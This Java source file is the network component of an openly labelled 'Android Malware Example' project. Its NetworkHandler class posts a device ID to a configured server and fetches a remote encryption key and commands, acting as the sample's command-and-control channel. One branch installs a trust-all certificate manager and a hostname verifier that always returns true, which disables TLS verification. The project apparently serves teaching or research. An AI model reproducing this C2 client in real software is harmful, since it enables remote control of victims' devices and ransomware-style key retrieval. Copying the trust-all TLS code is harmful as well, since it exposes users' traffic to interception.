/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;
import android.content.Context;
import android.net.Uri;
import android.util.Log;


import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
import java.security.KeyStore;
import java.security.SecureRandom;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;

/**
 * Created by darrylb on 10/2/16.
 */
public class NetworkHandler {


    private Context context;
    private ConfigParams configParams;


    public NetworkHandler(Context _context){
        context = _context;
        configParams = new ConfigParams(context);
    }



    public String getRemoteEncKey() {
        return (SendCommand("getEncKey.php"));
    }
    public String getCommands() {
        return (SendCommand("getCommands.php"));
    }

    public String SendCommand(String command) {
        String response="";
        try {
            URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + command);
            Uri.Builder builder = new Uri.Builder()
                    .appendQueryParameter("DeviceID", configParams.UniqueID);
            String query = builder.build().getEncodedQuery();
            if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
                //create code to trust a self signed cert
                // Note you need the pem/crt file to be in the App config to trust it
                if (configParams.SelfSigned)
                   setUpHttpsConnection(query);


            }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
                //trust all certs !!! Warning Dangerous

                    HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
                    public boolean verify(String hostname, SSLSession session) {
                        return true;
                    }});
                    SSLContext context = SSLContext.getInstance("TLS");
                    context.init(null, new X509TrustManager[]{new X509TrustManager(){
                    public void checkClientTrusted(X509Certificate[] chain,
                                                   String authType) throws CertificateException {}
                    public void checkServerTrusted(X509Certificate[] chain,
                                                   String authType) throws CertificateException {}
                    public X509Certificate[] getAcceptedIssuers() {
                        return new X509Certificate[0];
                    }}}, new SecureRandom());
                    HttpsURLConnection.setDefaultSSLSocketFactory(
                        context.getSocketFactory());

            }

            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setReadTimeout(10000);
            conn.setConnectTimeout(15000);
            conn.setRequestMethod("POST");
            conn.setDoInput(true);
            conn.setDoOutput(true);



            OutputStream os = conn.getOutputStream();
            BufferedWriter writer = new BufferedWriter(
                    new OutputStreamWriter(os, "UTF-8"));
            writer.write(query);
            writer.flush();
            writer.close();
            os.close();
            int responseCode=conn.getResponseCode();

            if (responseCode == HttpsURLConnection.HTTP_OK) {
                String line;
                BufferedReader br=new BufferedReader(new InputStreamReader(conn.getInputStream()));
                while ((line=br.readLine()) != null) {
                    response+=line;
                }
            }
            else {
                response="Error";
                if (configParams.Logging)     Log.d(configParams.PROGID,"NetworkHandler:"+responseCode);
            }
            conn.connect();
        } catch ( Exception ex){
            if (configParams.Logging)    Log.d(configParams.PROGID,"NetworkHandler:"+ex.toString());
        }
        if (configParams.Logging)  Log.d(configParams.PROGID,"NetworkHandler Returned:["+response+"]");
        return response;

    }



    public  void setUpHttpsConnection(String urlString)
    {
        try
        {
            // Load CAs from an InputStream
            // (could be from a resource or ByteArrayInputStream or ...)
            CertificateFactory cf = CertificateFactory.getInstance("X.509");

            InputStream caInput = new BufferedInputStream(context.getAssets().open("serverlc.crt"));
            Certificate ca = cf.generateCertificate(caInput);
            if (configParams.Logging)   Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN());

            // Create a KeyStore containing our trusted CAs
            String keyStoreType = KeyStore.getDefaultType();
            KeyStore keyStore = KeyStore.getInstance(keyStoreType);
            keyStore.load(null, null);
            keyStore.setCertificateEntry("ca", ca);

            // Create a TrustManager that trusts the CAs in our KeyStore
            String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
            tmf.init(keyStore);

            // Create an SSLContext that uses our TrustManager
            SSLContext context = SSLContext.getInstance("TLS");
            context.init(null, tmf.getTrustManagers(), null);


            // Tell the URLConnection to use a SocketFactory from our SSLContext

            HttpsURLConnection.setDefaultSSLSocketFactory(
                    context.getSocketFactory());

        }
        catch (Exception ex)
        {

            if (configParams.Logging)    Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager");
        }
    }


}

